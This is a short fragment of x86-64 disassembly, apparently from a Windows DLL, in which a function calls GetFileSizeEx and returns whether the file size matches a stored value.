lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800529d0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1800529d2
xor al, al
add rsp, 0x20
pop rbx
ret